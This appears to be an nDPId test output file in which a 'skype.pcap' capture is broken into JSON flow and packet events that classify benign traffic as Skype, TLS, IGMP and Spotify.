+00409{"flow_id":286,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2633,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969747,"pkt_ts_usec":554327,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoBdoAAEAR8XfAqAEiwKgBAcFnFOcAFDI4AAEAADLdMt0AAA4Q"} +00449{"flow_id":236,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2634,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969747,"pkt_ts_usec":557913,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"PBXCt3IO0NQSxnP1CABFwABEBYgAAEAB8P3AqAEBwKgBIgMDgJYAAAAARQAAKAXaAABAEfF3wKgBIsCoAQHBZxTnABQyOAABAAAy3TLdAAAOEA=="} +00442{"flow_id":273,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2636,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969748,"pkt_ts_usec":262990,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAKKsAAEARzo7AqAEiwKgBAc3qADUALN\/7ZhIBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00441{"flow_id":274,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2637,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969748,"pkt_ts_usec":263105,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA5EEAAEAREvjAqAEiwKgBAcpaADUALFPq9ZgBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00457{"flow_id":276,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2647,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969750,"pkt_ts_usec":316047,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLga0AAEARdYHAqAEiwKgBAfe9ADUAN4CxqiYBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00457{"flow_id":277,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2648,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969750,"pkt_ts_usec":316236,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLcFEAAEARht3AqAEiwKgBAf4NADUANx167A0BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2649,"source":"skype.pcap","alias":"nDPId-test","flow_id":291,"flow_packet_id":1,"flow_first_seen":1431969750597,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.53.47","src_port":50134,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":291,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2649,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969750,"pkt_ts_usec":597501,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAYx1AAEAGQ2nAqAEinTg1L8PWMD5iE\/TfAAAAALAC\/\/\/p7gAAAgQFtAEDAwUBAQgKPiQvsAAAAAAEAgAA"} +00437{"flow_id":291,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2651,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969750,"pkt_ts_usec":865851,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADMGs4qdODUvwKgBIjA+w9azhlZQYhP04KASOJDCuQAAAgQFrAQCCApiCpO7PiQvsAEDAwk="} +00426{"flow_id":291,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2652,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969750,"pkt_ts_usec":865951,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0wMFAAEAG5dDAqAEinTg1L8PWMD5iE\/Tgs4ZWUYAQECwY2QAAAQEICj4kMLtiCpO7"} +00550{"flow_id":291,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2653,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969750,"pkt_ts_usec":866466,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"0NQSxnP1PBXCt3IOCABFAACMRMpAAEAGYXDAqAEinTg1L8PWMD5iE\/Tgs4ZWUYAYECw1NAAAAQEICj4kMLtiCpO7DXQmpGKnI0I2RhDN\/3yj4d09fNnDzXdtJEccvDrHtNyh29f2eOqBagiw1+LzyIu7fYrzCNk2r5T1oivg0c5n7G26Y7jJZh9E5dKbkMH+15xd6tNouZaP9A=="} +00425{"flow_id":291,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2655,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969751,"pkt_ts_usec":97763,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0xa5AADMG7eOdODUvwKgBIjA+w9azhlZRYhP1OIAQAB0oTAAAAQEICmIKk\/8+JDC7"} +00532{"flow_id":291,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2656,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969751,"pkt_ts_usec":97769,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"PBXCt3IO0NQSxnP1CABFAACAxa9AADMG7ZadODUvwKgBIjA+w9azhlZRYhP1OIAYAB2oqAAAAQEICmIKk\/8+JDC79RtnezqwNkWmj+L6lXY3V1LUsLxOLBdhnxf1oRIVuBrv1bl4qHetgcqH6oA8OkFa3J0qE6j51s80FUJLgPFuh4yNWoMCufmCpDDtqw=="} +00426{"flow_id":291,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2657,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969751,"pkt_ts_usec":97984,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0ln5AAEAGEBTAqAEinTg1L8PWMD5iE\/U4s4ZWnYAQECkXDgAAAQEICj4kMaFiCpP\/"} +00438{"flow_id":291,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2658,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969751,"pkt_ts_usec":98548,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8cuFAAEAGM6nAqAEinTg1L8PWMD5iE\/U4s4ZWnYAYECmWAgAAAQEICj4kMaFiCpP\/ou083U4OUyI="} +00522{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":15,"flow_first_seen":1431969665416,"flow_last_seen":1431969685656,"flow_tot_l4_data_len":719,"flow_min_l4_data_len":20,"flow_max_l4_data_len":138,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.150","src_port":50046,"dst_port":40011,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":15,"flow_first_seen":1431969665416,"flow_last_seen":1431969685656,"flow_tot_l4_data_len":719,"flow_min_l4_data_len":20,"flow_max_l4_data_len":138,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.150","src_port":50046,"dst_port":40011,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":16,"flow_first_seen":1431969667439,"flow_last_seen":1431969689428,"flow_tot_l4_data_len":734,"flow_min_l4_data_len":20,"flow_max_l4_data_len":128,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.166","src_port":50049,"dst_port":40021,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":16,"flow_first_seen":1431969667439,"flow_last_seen":1431969689428,"flow_tot_l4_data_len":734,"flow_min_l4_data_len":20,"flow_max_l4_data_len":128,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.166","src_port":50049,"dst_port":40021,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00521{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":17,"flow_first_seen":1431969663377,"flow_last_seen":1431969687753,"flow_tot_l4_data_len":775,"flow_min_l4_data_len":20,"flow_max_l4_data_len":112,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.167","src_port":50044,"dst_port":40031,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":17,"flow_first_seen":1431969663377,"flow_last_seen":1431969687753,"flow_tot_l4_data_len":775,"flow_min_l4_data_len":20,"flow_max_l4_data_len":112,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.167","src_port":50044,"dst_port":40031,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00507{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":17,"flow_first_seen":1431969658376,"flow_last_seen":1431969684569,"flow_tot_l4_data_len":720,"flow_min_l4_data_len":20,"flow_max_l4_data_len":88,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.175","src_port":50035,"dst_port":40021,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":17,"flow_first_seen":1431969658376,"flow_last_seen":1431969684569,"flow_tot_l4_data_len":720,"flow_min_l4_data_len":20,"flow_max_l4_data_len":88,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.175","src_port":50035,"dst_port":40021,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00519{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":16,"flow_first_seen":1431969657367,"flow_last_seen":1431969688218,"flow_tot_l4_data_len":756,"flow_min_l4_data_len":20,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.44","src_port":50032,"dst_port":40032,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":16,"flow_first_seen":1431969657367,"flow_last_seen":1431969688218,"flow_tot_l4_data_len":756,"flow_min_l4_data_len":20,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.44","src_port":50032,"dst_port":40032,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":289,"flow_packet_id":1,"flow_first_seen":1431969747141,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":287,"flow_packet_id":1,"flow_first_seen":1431969746885,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":290,"flow_packet_id":1,"flow_first_seen":1431969747142,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":288,"flow_packet_id":1,"flow_first_seen":1431969746885,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":15,"flow_first_seen":1431969658979,"flow_last_seen":1431969687310,"flow_tot_l4_data_len":1059,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.170","src_port":50037,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":15,"flow_first_seen":1431969658979,"flow_last_seen":1431969687310,"flow_tot_l4_data_len":1059,"flow_min_l4_data_len":20,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.170","src_port":50037,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":15,"flow_first_seen":1431969664990,"flow_last_seen":1431969683864,"flow_tot_l4_data_len":901,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.167","src_port":50045,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":15,"flow_first_seen":1431969664990,"flow_last_seen":1431969683864,"flow_tot_l4_data_len":901,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.167","src_port":50045,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":15,"flow_first_seen":1431969667019,"flow_last_seen":1431969685356,"flow_tot_l4_data_len":835,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.150","src_port":50048,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":15,"flow_first_seen":1431969667019,"flow_last_seen":1431969685356,"flow_tot_l4_data_len":835,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.150","src_port":50048,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":15,"flow_first_seen":1431969669039,"flow_last_seen":1431969688720,"flow_tot_l4_data_len":841,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.166","src_port":50051,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":15,"flow_first_seen":1431969669039,"flow_last_seen":1431969688720,"flow_tot_l4_data_len":841,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.166","src_port":50051,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00512{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":16,"flow_first_seen":1431969659988,"flow_last_seen":1431969685175,"flow_tot_l4_data_len":1042,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":65,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.175","src_port":50039,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2659,"source":"skype.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":16,"flow_first_seen":1431969659988,"flow_last_seen":1431969685175,"flow_tot_l4_data_len":1042,"flow_min_l4_data_len":20,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":65,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.175","src_port":50039,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2660,"source":"skype.pcap","alias":"nDPId-test","flow_id":292,"flow_packet_id":1,"flow_first_seen":1431969751302,"flow_last_seen":0,"flow_tot_l4_data_len":12,"flow_min_l4_data_len":12,"flow_max_l4_data_len":12,"flow_avg_l4_data_len":12,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00417{"flow_id":292,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2660,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969751,"pkt_ts_usec":302316,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":60,"pkt_l4_len":12,"pkt":"AQBeAAAB0NQSxnP1CABGwAAkAABAAAECQmnAqAEB4AAAAZQEAAARZOweAAAAAAJ9AAAAAAAAAAAAAAAA"} +00466{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2660,"source":"skype.pcap","alias":"nDPId-test","flow_id":292,"flow_packet_id":1,"flow_first_seen":1431969751302,"flow_last_seen":0,"flow_tot_l4_data_len":12,"flow_min_l4_data_len":12,"flow_max_l4_data_len":12,"flow_avg_l4_data_len":12,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"224.0.0.1","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00599{"flow_id":291,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2671,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969752,"pkt_ts_usec":702036,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"0NQSxnP1PBXCt3IOCABFAACwh4FAAEAGHpXAqAEinTg1L8PWMD5iE\/U4s4ZWnYAYECnRuwAAAQEICj4kN+BiCpP\/ou083U4OUyKG5W39Rls52kHB4seHtGFWOjnxH9vL96zo7s\/hrhePc7yngjP78uPjgBCPNClMUrhUfbjHZM1vl72+27X8ItWoRr+cMWFEKEXMETqEyhRTKZ3N68tnVQztCI2VGGc5XDXqlMlRkcFBPVHkMJHGNR6XiHbo9Q=="} +00600{"flow_id":291,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2673,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969754,"pkt_ts_usec":301317,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"0NQSxnP1PBXCt3IOCABFAACw0RhAAEAG1P3AqAEinTg1L8PWMD5iE\/U4s4ZWnYAYECnLfAAAAQEICj4kPh9iCpP\/ou083U4OUyKG5W39Rls52kHB4seHtGFWOjnxH9vL96zo7s\/hrhePc7yngjP78uPjgBCPNClMUrhUfbjHZM1vl72+27X8ItWoRr+cMWFEKEXMETqEyhRTKZ3N68tnVQztCI2VGGc5XDXqlMlRkcFBPVHkMJHGNR6XiHbo9Q=="} +00525{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2700,"source":"skype.pcap","alias":"nDPId-test","flow_id":232,"flow_packet_id":255,"flow_first_seen":1431969710853,"flow_last_seen":1431969756218,"flow_tot_l4_data_len":88046,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":345,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.28","src_port":50108,"dst_port":40009,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2700,"source":"skype.pcap","alias":"nDPId-test","flow_id":232,"flow_packet_id":255,"flow_first_seen":1431969710853,"flow_last_seen":1431969756218,"flow_tot_l4_data_len":88046,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":345,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.28","src_port":50108,"dst_port":40009,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00601{"flow_id":291,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2725,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969757,"pkt_ts_usec":319046,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"0NQSxnP1PBXCt3IOCABFAACw99xAAEAGrjnAqAEinTg1L8PWMD5iE\/U4s4ZWnYAYECm\/yAAAAQEICj4kSdNiCpP\/ou083U4OUyKG5W39Rls52kHB4seHtGFWOjnxH9vL96zo7s\/hrhePc7yngjP78uPjgBCPNClMUrhUfbjHZM1vl72+27X8ItWoRr+cMWFEKEXMETqEyhRTKZ3N68tnVQztCI2VGGc5XDXqlMlRkcFBPVHkMJHGNR6XiHbo9Q=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2746,"source":"skype.pcap","alias":"nDPId-test","flow_id":293,"flow_packet_id":1,"flow_first_seen":1431969758516,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":293,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2746,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969758,"pkt_ts_usec":516437,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAABIeXwAAEARfH3AqAFcwKgB\/+EV4RUANFGUU3BvdFVkcDB5FYpWEIvHwwABAARIlcIDhMAbG8d8ZX7RWey9o+VAQ2IEJyw="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2746,"source":"skype.pcap","alias":"nDPId-test","flow_id":293,"flow_packet_id":1,"flow_first_seen":1431969758516,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} 